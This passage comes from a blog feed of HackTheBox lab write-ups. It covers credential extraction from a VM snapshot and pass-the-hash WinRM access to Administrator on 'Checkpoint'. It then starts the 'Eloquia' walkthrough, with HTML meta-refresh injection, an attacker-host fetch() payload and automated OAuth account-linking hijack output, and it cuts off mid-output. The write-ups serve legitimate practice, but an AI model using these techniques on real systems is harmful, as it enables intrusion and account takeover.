WHOAMI      10.129.1.29     389    DC01             Enabled: Yes
WHOAMI      10.129.1.29     389    DC01             Password Never Expires: Yes
WHOAMI      10.129.1.29     389    DC01             User Principal Name: svc_deploy@checkpoint.htb
WHOAMI      10.129.1.29     389    DC01             Last logon: Never
WHOAMI      10.129.1.29     389    DC01             Password Last Set: 2026-05-09 09:01:19 UTC
WHOAMI      10.129.1.29     389    DC01             Bad Password Count: 0
WHOAMI      10.129.1.29     389    DC01             Distinguished Name: <span class="nv">CN</span><span class="o">=</span>svc_deploy,OU<span class="o">=</span>ServiceAccounts,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
WHOAMI      10.129.1.29     389    DC01             Member of: <span class="nv">CN</span><span class="o">=</span>BackupAccess,OU<span class="o">=</span>ServiceAccounts,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
WHOAMI      10.129.1.29     389    DC01             Member of: <span class="nv">CN</span><span class="o">=</span>Remote Management Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>checkpoint,DC<span class="o">=</span>htb
WHOAMI      10.129.1.29     389    DC01             User SID: S-1-5-21-3129162710-3498938529-1807524340-1104
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="administrator-via-vmkatz">Administrator via VMKatz</h2>
<p>We’re a member of <code class="language-plaintext highlighter-rouge">Remote Management Users</code> as well as the <code class="language-plaintext highlighter-rouge">BackupAccess</code> groups. The <code class="language-plaintext highlighter-rouge">BackupAccess</code> group can read the <code class="language-plaintext highlighter-rouge">VMBackups</code> share.</p>
<div class="language-bash filename=&quot;Read highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>~/htb/labs/checkpoint <span class="nv">$ </span>nxc smb checkpoint.htb <span class="nt">-u</span> <span class="s1">'svc_deploy'</span> <span class="nt">-H</span> <span class="nv">$REDACTED</span> <span class="nt">--shares</span>
SMB         10.129.1.29     445    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Windows 11 / Server 2025 Build 26100 x64 <span class="o">(</span>name:DC01<span class="o">)</span> <span class="o">(</span>domain:checkpoint.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span>
SMB         10.129.1.29     445    DC01             <span class="o">[</span>+] checkpoint.htb<span class="se">\s</span>vc_deploy:<span class="nv">$REDACTED</span> 
SMB         10.129.1.29     445    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Enumerated shares
SMB         10.129.1.29     445    DC01             Share           Permissions            Remark
SMB         10.129.1.29     445    DC01             <span class="nt">-----</span>           <span class="nt">-----------</span>            <span class="nt">------</span>
SMB         10.129.1.29     445    DC01             ADMIN<span class="nv">$ </span>                                Remote Admin
SMB         10.129.1.29     445    DC01             C<span class="nv">$ </span>                                    Default share
SMB         10.129.1.29     445    DC01             DevDrop                                VS Code extensions share <span class="k">for </span>approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.1.29     445    DC01             IPC<span class="nv">$ </span>           READ                   Remote IPC
SMB         10.129.1.29     445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.1.29     445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.1.29     445    DC01             VMBackups       READ
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look we can find a <code class="language-plaintext highlighter-rouge">NightlyBackup</code> present on the share.</p>
<div class="language-bash filename=&quot;Nighty highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>~/htb/labs/checkpoint <span class="nv">$ </span>smbclient.py <span class="s1">'CHECKPOINT.HTB/svc_deploy@DC01.CHECKPOINT.HTB'</span> <span class="nt">-hashes</span> :<span class="nv">$REDACTED</span>
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

Type <span class="nb">help </span><span class="k">for </span>list of commands
<span class="c"># use VMBackups</span>
<span class="c"># ls</span>
drw-rw-rw-          0  Wed May 13 09:58:05 2026 <span class="nb">.</span>
drw-rw-rw-          0  Sat May  9 10:42:27 2026 ..
drw-rw-rw-          0  Wed May 13 09:58:18 2026 NightlyBackup_2024-11-01
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There’s a <code class="language-plaintext highlighter-rouge">memory forensics</code> folder with a bunch of <code class="language-plaintext highlighter-rouge">VM</code> files inside of it.</p>
<div class="language-bash filename=&quot;That's highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="c"># cd NightlyBackup_2024-11-01</span>
<span class="c"># ls</span>
drw-rw-rw-          0  Wed May 13 09:58:18 2026 <span class="nb">.</span>
drw-rw-rw-          0  Wed May 13 09:58:05 2026 ..
drw-rw-rw-          0  Wed May 13 09:58:18 2026 memory forensics
<span class="c"># cd memory forensics</span>
<span class="c"># ls</span>
drw-rw-rw-          0  Wed May 13 09:58:18 2026 <span class="nb">.</span>
drw-rw-rw-          0  Wed May 13 09:58:18 2026 ..
<span class="nt">-rw-rw-rw-</span>  106496000  Wed May 13 09:58:18 2026 Windows Server 2019-000001.vmdk
<span class="nt">-rw-rw-rw-</span> 2147483648  Wed May 13 09:58:18 2026 Windows Server 2019-Snapshot1.vmem
<span class="nt">-rw-rw-rw-</span>  138164859  Thu May 14 18:32:32 2026 Windows Server 2019-Snapshot1.vmsn
<span class="nt">-rw-rw-rw-</span>     270840  Wed May 13 09:58:18 2026 Windows Server 2019.nvram
<span class="nt">-rw-rw-rw-</span>       7642  Wed May 13 09:58:18 2026 Windows Server 2019.scoreboard
<span class="nt">-rw-rw-rw-</span> 10199695360  Wed May 13 09:58:18 2026 Windows Server 2019.vmdk
<span class="nt">-rw-rw-rw-</span>        502  Wed May 13 09:58:18 2026 Windows Server 2019.vmsd
<span class="nt">-rw-rw-rw-</span>       2749  Wed May 13 09:58:18 2026 Windows Server 2019.vmx
<span class="nt">-rw-rw-rw-</span>        274  Wed May 13 09:58:18 2026 Windows Server 2019.vmxf
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can also find the share in the <code class="language-plaintext highlighter-rouge">C:\Shares</code> directory, I’ll run <a href="#bkmrk-e16081eb077aca74bdbf">vmkatz</a> against the <code class="language-plaintext highlighter-rouge">vmsn</code> snapshot.</p>
<div class="language-bash filename=&quot;Mimikatz, highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="rouge-code"><pre>PS C:<span class="se">\w</span>1ld&gt; ./vmkatz.exe <span class="s1">'C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> vmkatz v1.4.1
<span class="o">[</span><span class="k">*</span><span class="o">]</span> System discovery: 7.9637669s
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Process enumeration: 811.6µs
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Providers: MSV<span class="o">(</span>ok<span class="o">)</span> WDigest<span class="o">(</span>ok<span class="o">)</span> Kerberos<span class="o">(</span>ok<span class="o">)</span> TsPkg<span class="o">(</span>empty<span class="o">)</span> DPAPI<span class="o">(</span>ok<span class="o">)</span> SSP<span class="o">(</span>empty<span class="o">)</span> LiveSSP<span class="o">(</span>n/a<span class="o">)</span> Credman<span class="o">(</span>empty<span class="o">)</span> CloudAP<span class="o">(</span>empty<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Credential extraction: 47.5295ms

<span class="o">[</span>+] 2 logon session<span class="o">(</span>s<span class="o">)</span>, 2 with credentials:

  LUID: 0x3e4 <span class="o">(</span>NETWORK SERVICE<span class="o">)</span>
  Username: WIN-0DG6SJAEUTA<span class="err">$</span>
  Domain: WORKGROUP
  <span class="o">[</span>DPAPI]
    GUID          : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
    MasterKey     : 15e104f6de4e478c6bf55252632a25b973fccd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
    SHA1 MasterKey: 44bb34a624afcd186909843e6cbdb4cfee908975
  <span class="o">[</span>DPAPI]
    GUID          : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
    MasterKey     : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbdb4518a588bac996567e04f22b28d4f7a2abd33fafe0958522bca1aaa0de00f5edb7d6742065642d
    SHA1 MasterKey: b2bf2c648554143d6b28b3c06a1ece7e40867238
  <span class="o">[</span>DPAPI]
    GUID          : 4f09a449-22e7-4a65-a4b9-fac89cc25328
    MasterKey     : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a8200e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904fbe279089a1ea718
    SHA1 MasterKey: 90b1c277630e507a8e28d7b260a53f21712c3f1d

  LUID: 0x14016d
  Session: 2 | LogonType: Unknown
  Username: Administrator
  Domain: WIN-0DG6SJAEUTA
  LogonServer: WIN-0DG6SJAEUTA
  LogonTime: 2026-05-09 14:07:14 UTC
  SID: S-1-5-21-2823729479-30462974-3865623546-500
  <span class="o">[</span>MSV1_0]
    NT Hash : f29e9c0[REDACTED]
    SHA1    : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
    DPAPI   : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
  <span class="o">[</span>DPAPI]
    GUID          : c53f7d5b-2902-415c-9c09-251f39974440
    MasterKey     : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
    SHA1 MasterKey: b061f87be6d2776897d912fed9156a354b81a595

<span class="o">[</span><span class="k">*</span><span class="o">]</span> 2 sessions, 1 NT hashes, 0 plaintext passwords
PS C:<span class="se">\w</span>1ld&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can use the recovered <code class="language-plaintext highlighter-rouge">rc4</code> hash to <code class="language-plaintext highlighter-rouge">winrm</code> as <code class="language-plaintext highlighter-rouge">Administrator.</code></p>
<div class="language-bash filename=&quot;I'm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>~/htb/labs/checkpoint <span class="nv">$ </span>winrmexec.py <span class="s1">'Administrator@CHECKPOINT.HTB'</span> <span class="nt">-hashes</span> :f29e[REDACTED]
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-target_ip'</span> not specified, using CHECKPOINT.HTB
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-port'</span> not specified, using 5985
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'-url'</span> not specified, using http://CHECKPOINT.HTB:5985/wsman
PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments&gt;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s move over to <code class="language-plaintext highlighter-rouge">max palmer</code>’s <code class="language-plaintext highlighter-rouge">Desktop</code></p>

<div class="language-bash filename=&quot;Why highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>PS C:<span class="se">\U</span>sers<span class="se">\m</span>ax.palmer<span class="se">\D</span>esktop&gt; <span class="nb">ls


    </span>Directory: C:<span class="se">\U</span>sers<span class="se">\m</span>ax.palmer<span class="se">\D</span>esktop


Mode                 LastWriteTime         Length Name                                                                  
<span class="nt">----</span>                 <span class="nt">-------------</span>         <span class="nt">------</span> <span class="nt">----</span>                                                                  
<span class="nt">-ar---</span>         6/15/2026   8:37 AM             34 root.txt 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="diff/medium" /><category term="os/windows" /><summary type="html"><![CDATA[Checkpoint is an assumed breach scenario AD Windows machine. Alex, the assumed breach user, is able to resurrect mark who has access to a VSCode extension share. Uploading a custom extension we get a shell as Ryan who can exploit BadSuccessor to gain access as svc\_deploy who can read the VMBackups share which contains VMs that allow us to extract the rc4 hash of the administrator to get root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_checkpoint/0001.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_checkpoint/0001.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Eloquia</title><link href="https://0xw1ld.github.io/htb/2026/10/17/eloquia.html" rel="alternate" type="text/html" title="Eloquia" /><published>2026-10-17T00:00:00+00:00</published><updated>2026-10-17T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/10/17/eloquia</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/10/17/eloquia.html"><![CDATA[<p><img src="/assets/img/img_Eloquia/0001.jpeg" alt="Eloquia HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>

<h2 id="scans">Scans</h2>

<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>PORT     STATE SERVICE REASON          VERSION
80/tcp   open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Eloquia
|_http-favicon: Unknown favicon MD5: 7487AC79D09DE6E54F3DF799C6B5B14A
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
5985/tcp open  http    syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can only find 2 ports open:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">80 - http</code></li>
  <li><code class="language-plaintext highlighter-rouge">5985 - WinRM</code></li>
</ol>

<h2 id="port-80---http">Port 80 - HTTP</h2>

<p>Visiting the website on <code class="language-plaintext highlighter-rouge">port 80</code> we’re directed to a social publishing platform.
<img src="/assets/img/img_Eloquia/0002.jpeg" alt="" /></p>

<h3 id="articles">Articles</h3>

<p>Visiting the <code class="language-plaintext highlighter-rouge">articles</code> dashboard we can find a few posts.
<img src="/assets/img/img_Eloquia/0003.jpeg" alt="" /></p>

<p>Clicking on an article we’re also able to report that article.
<img src="/assets/img/img_Eloquia/0004.jpeg" alt="" /></p>

<h3 id="login">Login</h3>

<p>Clicking on <code class="language-plaintext highlighter-rouge">Login</code> we can login to our account. 
<img src="/assets/img/img_Eloquia/0005.jpeg" alt="" /></p>

<p>Taking a look around we can also login using <code class="language-plaintext highlighter-rouge">qooqle</code>, which looks like a spoof of <code class="language-plaintext highlighter-rouge">google</code>. <img src="/assets/img/img_Eloquia/0006.jpeg" alt="" /></p>

<p>Clicking on this link we’re redirected to <code class="language-plaintext highlighter-rouge">qooqle.htb</code></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">302</span> <span class="ne">Found</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&amp;response_type=code&amp;redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-IIS/10.0</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src 'self'; font-src 'self' fonts.googleapis.com fonts.gstatic.com; object-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline' fonts.googleapis.com</span>
<span class="na">X-Frame-Options</span><span class="p">:</span> <span class="s">DENY</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">Referrer-Policy</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">Cross-Origin-Opener-Policy</span><span class="p">:</span> <span class="s">same-origin</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">ARR/3.0</span>
<span class="na">X-Frame-Options</span><span class="p">:</span> <span class="s">DENY</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 14 Dec 2025 09:43:41 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>



</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="register">Register</h3>

<p>Visiting the <code class="language-plaintext highlighter-rouge">Register</code> page we’re able to create an account.
<img src="/assets/img/img_Eloquia/0007.jpeg" alt="" /></p>

<h3 id="about-us">About Us</h3>

<p>Visiting the <code class="language-plaintext highlighter-rouge">about us</code> page there’s nothing much interesting here other than information about the platform.
<img src="/assets/img/img_Eloquia/0008.jpeg" alt="" /></p>

<h3 id="contact-us">Contact Us</h3>

<p>Lastly visiting <code class="language-plaintext highlighter-rouge">Contact Us</code> we’re able to send a message. 
<img src="/assets/img/img_Eloquia/0009.jpeg" alt="" /></p>

<h3 id="profile">Profile</h3>

<p>After registering an account we’re able to view our profile
<img src="/assets/img/img_Eloquia/0010.jpeg" alt="" /></p>

<h3 id="connected-accounts">Connected Accounts</h3>

<p>We can also view accounts that are connected via <code class="language-plaintext highlighter-rouge">oauth</code>. 
<img src="/assets/img/img_Eloquia/0011.jpeg" alt="" /></p>

<p>Clicking on <code class="language-plaintext highlighter-rouge">Change</code> redirects us to <code class="language-plaintext highlighter-rouge">qooqle</code> requiring authorisation. 
<img src="/assets/img/img_Eloquia/0012.jpeg" alt="" /></p>

<p>Once we authorise <code class="language-plaintext highlighter-rouge">Eloquia</code> we can see that the account is connected.
<img src="/assets/img/img_Eloquia/0013.jpeg" alt="" /></p>

<h3 id="create-article">Create Article</h3>

<p>We’re able to create an article uploading a banner image, adding a title and putting in some text. 
<img src="/assets/img/img_Eloquia/0014.jpeg" alt="" /></p>

<p>After creating an <code class="language-plaintext highlighter-rouge">article</code> we’re able to view it.
<img src="/assets/img/img_Eloquia/0015.jpeg" alt="" /></p>

<p>Clicking on <code class="language-plaintext highlighter-rouge">Report Article</code> we get the following message. 
<img src="/assets/img/img_Eloquia/0016.jpeg" alt="" /></p>
<h2 id="qooqlehtb">Qooqle.htb</h2>

<p>Visiting <code class="language-plaintext highlighter-rouge">qooqle.htb</code> directs us to a spoof of <code class="language-plaintext highlighter-rouge">google</code>
<img src="/assets/img/img_Eloquia/0017.jpeg" alt="" /></p>

<p>The only page usable here is the <code class="language-plaintext highlighter-rouge">Login</code> page. 
<img src="/assets/img/img_Eloquia/0018.jpeg" alt="" /></p>

<p>From this page we can also click <code class="language-plaintext highlighter-rouge">Create Account</code> to register an account. 
<img src="/assets/img/img_Eloquia/0019.jpeg" alt="" /></p>

<h1 id="user">User</h1>

<h2 id="html-injection">HTML Injection</h2>

<p>Playing around with the <code class="language-plaintext highlighter-rouge">Create Article</code> content we find out that our <code class="language-plaintext highlighter-rouge">text</code> content gets injected straight to the <code class="language-plaintext highlighter-rouge">html</code> with some filters in place to remove <code class="language-plaintext highlighter-rouge">script</code>, <code class="language-plaintext highlighter-rouge">img</code>, and other tags. One tag that doesn’t seem to be filtered is the <code class="language-plaintext highlighter-rouge">Meta</code> tag. So let’s write the following payload.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"refresh"</span> <span class="na">content=</span><span class="s">"0;url=http://10.10.14.117:9001"</span><span class="nt">/&gt;</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote>
  <p>The same is also possible using the <code class="language-plaintext highlighter-rouge">&lt;svg&gt;</code> tags just using different attributes to redirect the user.</p>
</blockquote>

<p>After visiting the page we get redirected to our listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>socat TCP-LISTEN:9001,reuseaddr,fork -
GET / HTTP/1.1
Host: 10.10.14.117:9001
User-Agent: Mozilla/5.0 <span class="o">(</span>X11<span class="p">;</span> Linux x86_64<span class="p">;</span> rv:140.0<span class="o">)</span> Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.9,<span class="k">*</span>/<span class="k">*</span><span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.8
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.5
Accept-Encoding: <span class="nb">gzip</span>, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: <span class="nv">u</span><span class="o">=</span>0, i



</pre></td></tr></tbody></table></code></pre></div></div>

<p>It works! now let’s see if we can force the target to run some JavaScript using the following website <code class="language-plaintext highlighter-rouge">html</code>.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="nt">&lt;</span><span class="err">!</span><span class="na">DOCTYPEhtml</span><span class="nt">&gt;</span>
<span class="nt">&lt;html&gt;</span>
        <span class="nt">&lt;head&gt;</span>
                <span class="nt">&lt;title&gt;</span>W1ld pwn<span class="nt">&lt;/title&gt;</span>
                <span class="nt">&lt;script&gt;</span>
                        <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://10.10.14.117:9999/test</span><span class="dl">'</span><span class="p">)</span>
                <span class="nt">&lt;/script&gt;</span>
        <span class="nt">&lt;/head&gt;</span>
        <span class="nt">&lt;body&gt;</span>
                <span class="nt">&lt;p&gt;</span> Pwned! <span class="nt">&lt;/p&gt;</span>
        <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look at our python http server we get a hit.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>python3 <span class="nt">-m</span> http.server 9001                        
Serving HTTP on 0.0.0.0 port 9001 <span class="o">(</span>http://0.0.0.0:9001/<span class="o">)</span> ...
10.10.14.117 - - <span class="o">[</span>14/Dec/2025 05:28:40] <span class="s2">"GET / HTTP/1.1"</span> 200 -

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look at our listener we also find a hit.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>socat TCP-LISTEN:9999,reuseaddr,fork -
GET /test HTTP/1.1
Host: 10.10.14.117:9999
User-Agent: Mozilla/5.0 <span class="o">(</span>X11<span class="p">;</span> Linux x86_64<span class="p">;</span> rv:140.0<span class="o">)</span> Gecko/20100101 Firefox/140.0
Accept: <span class="k">*</span>/<span class="k">*</span>
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.5
Accept-Encoding: <span class="nb">gzip</span>, deflate, br
Referer: http://10.10.14.117:9001/
Origin: http://10.10.14.117:9001
Connection: keep-alive
Priority: <span class="nv">u</span><span class="o">=</span>4



</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="oauth-account-linking">OAuth account linking</h2>

<p>The first instinct would probably be to steal cookies, however the <code class="language-plaintext highlighter-rouge">sessionid</code> cookie has <code class="language-plaintext highlighter-rouge">HttpOnly</code> enabled which means we can’t retrieve it through the <code class="language-plaintext highlighter-rouge">javascript</code>. Instead we can attempt to force the <code class="language-plaintext highlighter-rouge">oauth</code> change by redirecting the target to our <code class="language-plaintext highlighter-rouge">change oath</code> link. We can test this by creating another <code class="language-plaintext highlighter-rouge">qooqle</code> account, and clicking on <code class="language-plaintext highlighter-rouge">change</code> from our original account. We should be redirected to a much longer link which if we copy paste quickly into our other session we can see that the original connect account changes.</p>

<p>Original Connected Accounts.
<img src="/assets/img/img_Eloquia/0020.jpeg" alt="" /></p>

<p>After attempting the change link on another qooqle session.
<img src="/assets/img/img_Eloquia/0021.jpeg" alt="" /></p>

<p>So our plan is to create an oauth link and following it all the way to the authorisation callback link, create an article redirecting to that link, reporting that article and once the admin clicks on the link it should register our email which should allow us to login as the admin. This has to be done quickly so I created a <code class="language-plaintext highlighter-rouge">Rust</code> program to automate this which can be found on <a href="https://github.com/0xW1LD/oauth-exploit">My Github</a>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="rouge-code"><pre>./target/release/exploit <span class="nt">-l</span> 10.10.14.117
<span class="o">=====</span> Registering to Eloquia <span class="o">=====</span>
<span class="o">[</span>+] Registering account
<span class="o">[</span>+] Account was NOT Registered <span class="o">(</span>account exists?<span class="o">)</span>
<span class="o">=====</span> Authenticating to Eloquia <span class="o">=====</span>
<span class="o">[</span>+] Logged <span class="k">in </span>successfully!
<span class="o">=====</span> Registering to Qooqle <span class="o">=====</span>
<span class="o">[</span>+] Registering account
<span class="o">[</span>+] Account was NOT Registered <span class="o">(</span>account exists?<span class="o">)</span>
<span class="o">=====</span> Authenticating to qooqle <span class="o">=====</span>
<span class="o">[</span>+] Logged <span class="k">in </span>successfully!
<span class="o">=====</span> Creating Poisoned Article <span class="o">=====</span>
<span class="o">[</span>+] Article created with ID: 22
<span class="o">=====</span> Reporting Poisoned Article <span class="o">=====</span>
<span class="o">[</span>+] Article reported successfully
<span class="o">=====</span> Starting Dynamic Redirect Server <span class="o">=====</span>
<span class="o">[</span>+] Redirect server listening on 10.10.14.117:80
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>Qd6JNONmvjAvENRxSXjESce3fi3odS
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>bljAwyvCDOPf6Qv5K3pAseY0SdKjEk
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>iuqNUF9svmd8hkOwdLLFtOEzcfyOSm
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>8pquCjoC1qcmn1GqV6OyGozrUnPXoH
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>wFQtmvZGf7D8nJhGgpxr6FoJGrcSuA
<span class="o">[</span>+] Updated OAuth callback: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>XpvwErqGITehnJhE5UTaW7RlgqDtuN
Grabbing new Code <span class="k">in</span>: 6s
<span class="o">[</span>+] Connection from: 10.129.3.150:52634

<span class="o">[</span>+] Received input: 
<span class="nt">----------</span> 
GET /w1ld HTTP/1.1
Host: 10.10.14.117
Connection: keep-alive
Accept-Language: en-US,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 <span class="o">(</span>Windows NT 10.0<span class="p">;</span> Win64<span class="p">;</span> x64<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> HeadlessChrome/142.0.0.0 Safari/537.36
